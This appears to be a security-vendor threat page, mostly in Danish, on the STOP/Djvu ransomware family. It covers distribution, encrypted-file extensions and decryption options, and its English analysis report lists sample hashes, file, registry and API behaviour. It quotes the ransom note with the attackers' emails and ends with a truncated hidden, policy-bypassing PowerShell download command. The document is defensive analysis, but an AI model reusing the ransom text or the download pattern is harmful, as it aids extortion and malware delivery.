STOP Djvu Ransomware

STOP-ransomware-familien, også denomineret STOP Djvu Ransomware-familien, er et truende stykke malware. STOP Djvu er blot en af de mange trusler, der deler fælles karakteristika og stammer fra STOP-ransomware, selvom nogle af deres metoder til at påvirke filtyper og kryptere filudvidelser er forskellige.

Den originale STOP Ransomware blev set af sikkerhedsforskere så tidligt som i februar 2018. Siden da har den dog udviklet sig, og dens familie af kloner og offshoots er vokset. Den primære metode til distribution af STOP-ransomware var spam-e-mail-kampagner ved hjælp af beskadigede vedhæftede filer.

STOP Djvu-ransomware fungerer på en måde, der ligner andre ransomware-trusler af sin art, kryptering og blokering af adgang til nøglefiler, som brugerne muligvis bruger i deres system. Personlige filer, billeder, dokumenter og mere kan krypteres og i det væsentlige deaktiveres for alle brugere på maskinen. STOP Djvu ransomware blev først set i december 2018 i det, der syntes at være en ret vellykket infektionskampagne online. Forskere var uvidende om, hvordan ransomware spredte sig, men senere rapporterede ofre, at de opdagede infektioner, efter at de havde downloadet keygens eller revner. Når infiltrationen har fundet sted, ændrer STOP Djvu ransomware Windows-indstillingerne og tilføjer filer med en række navne, såsom .djvu, .djvus, .djvuu, .uudjvu, .udjvu eller .djvuq og de seneste .promorad og .promock-udvidelser. De nyere versioner har endnu ikke en decryptor, men de ældre kan dekrypteres ved hjælp af STOPDecrypter. Brugere rådes til at undgå at betale løsesum, uanset hvad.

Metoden, der bruges til at blokere adgang til filerne, bruger RSA-krypteringsalgoritmen. Selvom dekryptering af filerne kan virke hårdt for uerfarne brugere, er der absolut ingen grund til at gøre noget for at betale folkene bag truslen. Der gives normalt falske løfter i sådanne situationer, så brugere kan hurtigt finde ud af, at de ignoreres, når betalinger blev foretaget.

Angreb på STOP Djvu ransomware blev først rapporteret i slutningen af 2018. Den vigtigste distributionsmetode for STOP Djvu forblev spam-e-mails, og tweaks til kernen af ransomware var relativt små. Størstedelen af falske, kompromitterede vedhæftede filer, der blev brugt i spam-e-mails, var makroaktiverede kontordokumenter eller falske PDF-filer, der kørte ransomware uden offerets viden. STOP Djvus opførsel har heller ikke ændret sig meget - ransomware sletter stadig alle Shadow Volume-snapshots for at slippe af med sikkerhedskopier og begynder derefter at kryptere offerets filer.

Der er mindre ændringer i løsesumnoten, som gemmes som '_openme.txt' på offerets skrivebord. Teksten til løsepenge kan findes her:

'[start på løsepenge]
———————— ALLE DINE FILER ER Krypteret —————————

Bare rolig, du kan returnere alle dine filer!
Alle dine filer dokumenter, fotos, databaser og andet vigtigt er krypteret med den stærkeste kryptering og unikke nøgle.
Den eneste metode til gendannelse af filer er at købe dekrypteringsværktøj og unik nøgle til dig.
Denne software dekrypterer alle dine krypterede filer.
Hvilke garantier giver vi dig?
Du kan sende en af dine krypterede filer fra din pc, og vi dekrypterer den gratis.
Men vi kan kun dekryptere 1 fil gratis. Filen må ikke indeholde værdifulde oplysninger
Forsøg ikke at bruge tredjeparts dekrypteringsværktøjer, fordi det ødelægger dine filer.
Rabat 50% tilgængelig, hvis du kontakter os de første 72 timer.

———————————————————————————————————-

For at få denne software skal du skrive på vores e-mail:
helpshadow@india.com

Reserver e-mail-adresse for at kontakte os:
helpshadow@firemail.cc

Dit personlige id: [string]
[løsesum notat slut] '

Ransomware begrænsede sig til at omdøbe de krypterede filer med .djvu-udvidelsen oprindeligt, hvilket var et nysgerrig valg, fordi .djvu faktisk er et legitimt filformat udviklet af AT & T Labs og brugt til opbevaring af scannede dokumenter, noget svarende til Adobes .pdf. Senere versioner af ransomware vedtog en række andre udvidelser til krypterede filer, herunder '.chech,' '.luceq,' '.kroput1,' '.charck,' '.kropun ,,' .luces, '' .pulsar1, '' .uudjvu, '' .djvur, '' .tfude, '' .tfudeq 'og' .tfudet '.

Visse stammer af STOP Djvu ransomware kan dekrypteres gratis ved hjælp af den såkaldte 'STOPDecrypter', der blev udviklet af sikkerhedsforskeren Michael Gillespie og er tilgængelig online som en gratis download.

Indholdsfortegnelse

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STOP Djvu Ransomware Video

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STOP Djvu Ransomware Skærmbilleder

Analyserapport

Generel information

Family Name:	STOP/DJVU Ransomware
Signature status:	Self Signed

Known Samples

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Known Samples

This section lists other file samples believed to be associated with this family.

MD5: def8a7bfe5fe47d95a95085d8dbc7a53 SHA1: 7182d4b2f55a560d83edf0824e119f71fa8422b6 SHA256: B83855EA63E7F28396099A5B6E877BE537E78E4A50DF720262461A1D13B02192 Filstørrelse: 6.29 MB, 6292105 bytes

MD5: a6b8c0cb178c31dd347554c3e5a0d5f8 SHA1: 91864f269d696ee80869cfeb3c9a204f8031a3bb SHA256: 4FFB8E9ADF508662B5E51CBEC75B2E07CE1CBBFAAB873F72EDC7BAC385421E2C Filstørrelse: 3.47 MB, 3471869 bytes

MD5: 2336c9624d9a44c393d354206226f508 SHA1: ea7edc388ad62990f52b9ed40df26d20f4e20190 SHA256: CE48ED04C92143B7E91F9665DD9337B2EE0B9CC1B5AEE534D26C09E084F8ABB0 Filstørrelse: 1.36 MB, 1359918 bytes

MD5: 42f32aa699bc45a3638ddeb325ebebc1 SHA1: 508cea3ba2bf04cc6851295f92bf0e752071f6b8 SHA256: 16532B38591B713395C288B11610494BCC4C4537BE492D43C54D66FEB7B95FA4 Filstørrelse: 1.33 MB, 1328186 bytes

MD5: 2391d41548b6432191f73edefa273928 SHA1: 620b714f84955aa7fb9a2f2cd528daa1621e18af SHA256: 4D1EFAA3477B0B8D84025F3F0109E97ABA7CEB37F174B9DC79B7966CBB430959 Filstørrelse: 3.36 MB, 3357556 bytes

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MD5: 710c3a1beb616d4aa7d5ed9a7f8848e4 SHA1: 326da9ddc0ea840e83f31fbf1f3377a06c911fe5 SHA256: 051DAB5E5247E25D6EB059A574383FB1EC99A5A4AAF9AA3694240FE25FA260AB Filstørrelse: 1.36 MB, 1364106 bytes

MD5: 601b120a6f39f72847b2f581a3d5f158 SHA1: 0cc5781c1cfe6c5d034bd098229773e80e083732 SHA256: BEC2BFF460615A35D4EA35BF25E9F89337E35E73441A4AC07562CE8E89BED818 Filstørrelse: 4.86 MB, 4858569 bytes

MD5: a7b76a49f289081961f8f3824f0b62ca SHA1: 6908790199785be7fc6c4eeb1fe426ee1b66cc0b SHA256: 1A721E054386833AEBBF94C75871143376897E92C4A48278DDE95E6987634F45 Filstørrelse: 1.41 MB, 1406899 bytes

MD5: 9f37930d62a1e08f68aa0a72472e7a55 SHA1: 27706b3ff639e5dfa264a823dbe9229cf34ae153 SHA256: 29039902EEA4EE24C4C6368AA9B1D7F86BEC65ADA3ABDB0B92C1FEF311ACD31F Filstørrelse: 600.12 KB, 600124 bytes

MD5: 7a18839fe61e9cde0e8fea3100acfb2b SHA1: 9476c97a73e027016e9f6f2f20c2fb19264cd837 SHA256: 0271095F0AD5C6F26C9738ED5636E751B8868C1AE3B08D5D8C5218121D9FEEAF Filstørrelse: 316.83 KB, 316832 bytes

Windows Portable Executable Attributes

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Windows Portable Executable Attributes

This section lists file attributes found within family samples. These attributes are extracted from the files’ Windows PE (Portable Executable) specification and various system flags. Portable Executable Attributes give malware researchers insight into a file’s functionality, executable details, platform and runtime environment.

• File doesn't have "Rich" header
• File doesn't have debug information
• File doesn't have exports table
• File doesn't have relocations information
• File doesn't have security information
• File has exports table
• File has TLS information
• File is 32-bit executable
• File is 64-bit executable
• File is either console or GUI application

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• File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
• File is Native application (NOT .NET application)
• File is not packed
• IMAGE_FILE_DLL is not set inside PE header (Executable)
• IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

File Icons

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File Icons

This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.

Windows PE Version Information

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Windows PE Version Information

This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.

Navn	Værdi
Assembly Version	1.4.1.0
Comments	This installation was built with Inno Setup.
Company Name	Alexander Roshal TrayToolbar WinTools Software Engineering, Ltd.
File Description	Archiwizer WinRAR Gestione archivi WinRAR RAM Saver Professional TrayToolbar WinRAR 5.60 64 Bit Setup WinRAR Installer
File Version	26.2.1 26.0.1 25.7.1 25.4.1 6.20.2 6.2.0 1.4.1.0 1.3.0.0 1.00
Internal Name	TJprojMain TrayToolbar.dll WinRAR
Legal Copyright	Copyright © Alexander Roshal 1993-2021 Copyright © Alexander Roshal 1993-2022 Copyright © Alexander Roshal 1993-2025 © Brontech, LLC
Original Filename	TJprojMain.exe TrayToolbar.dll WinRAR.exe
Product Name	Project1 RAM Saver 25.4.1 Professional RAM Saver 25.7.1 Professional RAM Saver 26.0.1 Professional RAM Saver 26.2.1 Professional TrayToolbar WinRAR WinRAR 5.60 64 Bit WinRAR Installer
Product Version	26.2.1 26.0.1 25.7.1 25.4.1 6.20.2 6.2.0 5.60 1.4.1+80dec33e25323db7125ddec35b475aa881292801 1.4.0 1.00

Digital Signatures

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Digital Signatures

This section lists digital signatures that are attached to samples within this family. When analyzing and verifying digital signatures, it is important to confirm that the signature’s root authority is a well-known and trustworthy entity and that the status of the signature is good. Malware is often signed with non-trustworthy “Self Signed” digital signatures (which can be easily created by a malware author with no verification). Malware may also be signed by legitimate signatures that have an invalid status, and by signatures from questionable root authorities with fake or misleading “Signer” names.

Signer	Root	Status
win.rar GmbH	DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1	Self Signed
win.rar GmbH	GlobalSign CodeSigning CA - SHA256 - G3	Hash Mismatch

File Traits

• .NET
• 2+ executable sections
• big overlay
• HighEntropy
• Inno
• InnoSetup Installer
• Installer Manifest
• Installer Version
• MZ (In Overlay)
• No Version Info

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• Nullsoft Installer
• RAR (In Overlay)
• RARinO
• Run
• SusSec
• vb6
• WinRAR SFX
• WRARSFX
• x64
• x86

Files Modified

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Files Modified

This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.

File	Attributes
\device\namedpipe	Generic Read,Write Attributes
\device\namedpipe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-13e8d.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-88uan.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-8gkji.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-af9e7.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-du263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-i0kj9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-jos42.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-pk5hm.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data

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c:\users\user\appdata\local\temp\is-r9udb.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-shkd6.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\nsva331.tmp\banner.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\nsexec.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\system.dll	Generic Write,Read Attributes

Registry Modifications

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Registry Modifications

This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.

Key::Value	Data	API Name
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75		RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	졷鑂셱ǜ	RegNtPreCreateKey

Windows API Usage

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Windows API Usage

This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.

Category	API
Other Suspicious	SetWindowsHookEx
Anti Debug	IsDebuggerPresent OutputDebugString
User Data Access	GetUserDefaultLocaleName GetUserObjectInformation
Process Manipulation Evasion	NtUnmapViewOfSection ZwMapViewOfSection
Process Shell Execute	CreateProcess
Keyboard Access	GetKeyState
Syscall Use	ntdll.dll!NtAccessCheck ntdll.dll!NtAlertThreadByThreadId ntdll.dll!NtAlpcConnectPortEx ntdll.dll!NtAlpcCreateSecurityContext ntdll.dll!NtAlpcDeleteSecurityContext ntdll.dll!NtAlpcQueryInformation ntdll.dll!NtAlpcSendWaitReceivePort ntdll.dll!NtApphelpCacheControl ntdll.dll!NtClearEvent ntdll.dll!NtClose Show More ntdll.dll!NtConnectPort ntdll.dll!NtCreateEvent ntdll.dll!NtCreateMutant ntdll.dll!NtCreateSection ntdll.dll!NtCreateSemaphore ntdll.dll!NtCreateThreadEx ntdll.dll!NtDuplicateObject ntdll.dll!NtDuplicateToken ntdll.dll!NtEnumerateValueKey ntdll.dll!NtFreeVirtualMemory ntdll.dll!NtMapViewOfSection ntdll.dll!NtNotifyChangeKey ntdll.dll!NtOpenDirectoryObject ntdll.dll!NtOpenEvent ntdll.dll!NtOpenFile ntdll.dll!NtOpenKey ntdll.dll!NtOpenKeyEx ntdll.dll!NtOpenProcessToken ntdll.dll!NtOpenProcessTokenEx ntdll.dll!NtOpenSection ntdll.dll!NtOpenSemaphore ntdll.dll!NtOpenThreadToken ntdll.dll!NtOpenThreadTokenEx ntdll.dll!NtProtectVirtualMemory ntdll.dll!NtQueryAttributesFile ntdll.dll!NtQueryFullAttributesFile ntdll.dll!NtQueryInformationFile ntdll.dll!NtQueryInformationProcess ntdll.dll!NtQueryInformationThread ntdll.dll!NtQueryInformationToken ntdll.dll!NtQueryKey ntdll.dll!NtQueryLicenseValue ntdll.dll!NtQueryPerformanceCounter ntdll.dll!NtQuerySecurityAttributesToken ntdll.dll!NtQuerySecurityObject ntdll.dll!NtQuerySystemInformation ntdll.dll!NtQuerySystemInformationEx ntdll.dll!NtQueryValueKey ntdll.dll!NtQueryVirtualMemory ntdll.dll!NtQueryVolumeInformationFile ntdll.dll!NtQueryWnfStateData ntdll.dll!NtReleaseMutant ntdll.dll!NtReleaseSemaphore ntdll.dll!NtReleaseWorkerFactoryWorker ntdll.dll!NtRequestWaitReplyPort ntdll.dll!NtResumeThread ntdll.dll!NtSetEvent ntdll.dll!NtSetInformationKey ntdll.dll!NtSetInformationProcess ntdll.dll!NtSetInformationThread ntdll.dll!NtSetInformationVirtualMemory ntdll.dll!NtSetInformationWorkerFactory ntdll.dll!NtSetTimer2 ntdll.dll!NtSubscribeWnfStateChange ntdll.dll!NtTestAlert ntdll.dll!NtTraceControl ntdll.dll!NtUnmapViewOfSection ntdll.dll!NtUnmapViewOfSectionEx ntdll.dll!NtWaitForAlertByThreadId ntdll.dll!NtWaitForMultipleObjects ntdll.dll!NtWaitForSingleObject ntdll.dll!NtWaitForWorkViaWorkerFactory ntdll.dll!NtWaitLowEventPair ntdll.dll!NtWorkerFactoryWorkerReady ntdll.dll!NtWriteFile UNKNOWN
Encryption Used	BCryptOpenAlgorithmProvider

Shell Command Execution

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Shell Command Execution

This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.

"C:\Users\Lehsoaco\AppData\Local\Temp\is-88UAN.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp" /SL5="$5036E,928289,131584,c:\users\user\downloads\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918"

"C:\Users\Dfhrhqtz\AppData\Local\Temp\is-13E8D.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp" /SL5="$802E8,896816,131584,c:\users\user\downloads\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186"

"C:\Users\Eberzneu\AppData\Local\Temp\is-DU263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp" /SL5="$30364,932379,131584,c:\users\user\downloads\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106"

"C:\Users\Qxnqehmu\AppData\Local\Temp\is-8GKJI.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp" /SL5="$402E8,3435751,309760,c:\users\user\downloads\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569"

"C:\Users\Qlwpcgcn\AppData\Local\Temp\is-I0KJ9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp" /SL5="$30336,975597,131584,c:\users\user\downloads\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899"

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powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient